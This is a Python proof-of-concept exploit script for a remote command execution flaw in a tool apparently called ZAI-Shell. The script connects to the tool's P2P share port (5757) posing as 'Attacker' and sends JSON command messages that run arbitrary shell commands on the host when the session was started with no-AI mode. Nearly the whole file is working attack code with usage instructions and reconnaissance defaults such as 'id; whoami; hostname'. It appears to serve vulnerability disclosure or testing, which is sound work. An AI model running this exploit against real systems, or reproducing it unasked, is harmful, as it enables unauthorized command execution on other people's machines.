#!/usr/bin/env python3 """ ZAI-Shell P2P RCE PoC Tests the P2P command execution vulnerability when no_ai_mode is enabled. Usage: 1. Start ZAI-Shell on target with: share start --no-ai 2. Run this script: python3 zai_shell_poc.py [port] """ import socket import json import sys import time def exploit(target_ip, port=5757, command="id"): print(f"[*] Connecting to {target_ip}:{port}...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) # Send hello message hello = json.dumps({"type": "hello", "name": "Attacker"}) + "\n" sock.send(hello.encode()) # Receive welcome time.sleep(1) response = sock.recv(4096).decode() print(f"[+] Connected! Response: {response[:200]}") # Send command print(f"[*] Sending command: {command}") cmd_msg = json.dumps({"type": "command", "command": command}) + "\n" sock.send(cmd_msg.encode()) print("[*] Command sent. If no_ai_mode is enabled, it will execute on host.") print("[*] Check host terminal for approval prompt or direct execution.") # Wait for response time.sleep(3) try: result = sock.recv(4096).decode() if result: print(f"[+] Response: {result}") except: pass sock.close() return True except socket.timeout: print("[-] Connection timeout") return False except ConnectionRefusedError: print("[-] Connection refused - P2P session not started?") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} [port] [command]") print(f"Example: {sys.argv[0]} 192.168.1.100 5757 'id; whoami'") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5757 command = sys.argv[3] if len(sys.argv) > 3 else "id; whoami; hostname" exploit(target, port, command)